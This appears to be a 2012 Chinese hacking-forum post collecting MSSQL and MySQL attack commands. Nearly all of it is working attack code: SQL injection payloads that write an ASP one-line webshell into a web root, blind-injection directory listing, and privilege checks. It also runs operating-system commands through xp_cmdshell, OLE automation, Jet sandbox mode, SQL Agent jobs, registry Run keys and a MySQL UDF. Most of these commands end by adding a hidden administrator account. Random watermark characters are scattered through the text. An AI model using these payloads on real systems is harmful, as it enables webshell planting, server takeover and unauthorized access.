中国网络渗透测试联盟

标题: mssql实用命令及导出一句话 [打印本页]

作者: admin    时间: 2012-9-13 17:49
标题: mssql实用命令及导出一句话
MSSQL语句导出一句话木马- r1 F1 K6 |% ~0 j- Y6 {
首先确定网站的WEB路径
6 C1 X: J/ A+ u  O;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马: ]* M5 I# B5 @$ [$ U4 Y

7 V! V  \& e2 Q  Q;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
. ?$ v- }4 ~3 c6 z; Y, H( I//将一句话木马插入表中% I0 Z0 W3 Q( C: ?, f2 H

, m$ y, @, L6 V6 N6 L2 R. {* A;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';-- 5 G: U/ n" u/ |' M6 z  F+ f
//导出一个ASP文件
' M& A/ }  d7 K- F! i* K# b% p
  F; g7 v: t+ Y
2 C: D) i9 F% \0 p. ^关于MSSQL列目录& \& U8 j( K4 Q0 k7 u
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表
- t: ^( I, ~0 H4 {4 A3 z0 n5 lInsert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表
; m' W8 ^" }& m# [0 z
  V/ C+ |+ [& ~- F! eand (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录
- D/ m+ y2 U/ J7 a5 m! m. ?8 f+ s7 J" Y' W2 Y0 [% ^, x5 F, [" Q
And (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段& q8 c+ V$ L) r2 ]

" S. T5 ?2 e, D! _And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符7 p9 R9 r5 l( T- \1 O$ z0 o% w0 {
4 _! \! `5 C9 T5 F+ U

( @, e  |' O9 [( ^- y; W# b数据库版本和权限查看
# V/ j* ~+ ~6 e% A  m4 p" H7 }; [* jand 1=(select @@VERSION) //查看详细的数据库信息.
6 Z# }1 i" ]! Iand 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA3 Q( f, t( z$ G* n; Y2 H
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER# j: {4 T; O, T0 m4 f: O- A

6 {0 |, d/ P6 t7 y
9 E2 R2 L1 l2 u( [( o+ X& q- {1.利用xp_cmdshell执行命令2 E- t" \* j* f
exec master..xp_cmdshell 'net user rfire 123456 /add'
9 ]1 X1 B2 y! L' i+ S: W1 Kexec master..xp_cmdshell 'net localgroup administrators rfire /add'
7 }; O' v/ Z# C& F  N
+ k; c. o7 c6 G, S1 f  ?恢复xp_cmdshell存储过程
# [% r. r+ w7 J" Z+ K& Q: L4 [Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'6 ~. n9 A5 f7 W: T  Q% Z7 U

) X$ z5 g& c, A- Q  z
9 r1 C* g* p- Y1 j0 ?8 k2.利用SP_OAcreate和SP_OAMETHOD执行命令
. k& P# W/ s3 _# ]/ r" J! j1 q0 B: X在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
1 ], i( ?" d8 g" FDECLARE @shell INT //建立一个@shell实体
5 r3 N: Z9 C2 C" z* y3 e# d8 DEXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例
! h* ]) T0 Q: X* W5 W! E/ L6 yEXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例6 `& A6 L' V6 ^+ J, c; F9 S% ~# P

5 T2 x$ a' V2 n! k% b( @
) O6 M) ?. b0 f1 D6 `% }3.利用沙盒模式0 s1 A) ?: u' j) c
先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。4 k" b" k9 Q' t
开启沙盒模式:
8 y# C  n* y2 jEXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0, b% V6 L( i5 c: m& o

, D5 k/ K, ]: N7 E1 S8 m执行命令:1 X1 E1 V8 u3 G2 j3 C; p7 W2 b0 |
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');
  Z) z1 l" u2 _# H5 ?2 e, J# ^; R( }0 r4 X" z$ |$ v# v9 P* O8 |

: l; B* V/ T+ J$ I" {, C4.利用SQL代理执行命令
6 [' H" R2 [" J5 m' aEXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务$ D: n3 A( e& D& g; j
2 _/ _: u$ M4 Z+ N0 k) {. a
执行命令:
8 m9 K4 B$ j& c1 C6 Uuse msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错9 }  w6 n( n, g% n) z
exec sp_add_job 'x'. l8 J& O' O  S, ~3 F, B
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业3 ]. h" Z; X3 s: z
exec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业1 @- V  f( @$ c( b7 |4 |$ ~( I

: `0 C" x& ^1 [! K* r' A! x' V
: B+ J, q  i* s9 d2 y& R5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)8 Q9 b4 @" E: |
EXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add', v5 F  f: w, s3 j$ U3 i

: g; W5 p  H2 e! u' J9 X! D0 m: N7 |) q
6.MYSQL的命令执行; [" Z; J6 _* p) B* R- U! E  Q5 m
MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)6 g( y: S# c1 C3 k
首先要在su.php下导出c:\windows\udf.dll3 @; J! {1 |( C9 @
导出后执行创建自定义函数命令:
, e/ N" W7 r  a$ h2 B5 _Create Function cmdshell returns string soname 'udf.dll'
- q6 m% l. G! L& a& K: j" Q执行命令3 @: M3 V! R% I) A3 b, I9 u0 S
select cmdshell('net user rfire 123456 /add')/ R( C/ [- U9 Q$ S" a
执行后删除函数 drop function cmdshell6 I, x0 z0 k: X$ [2 m  W





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2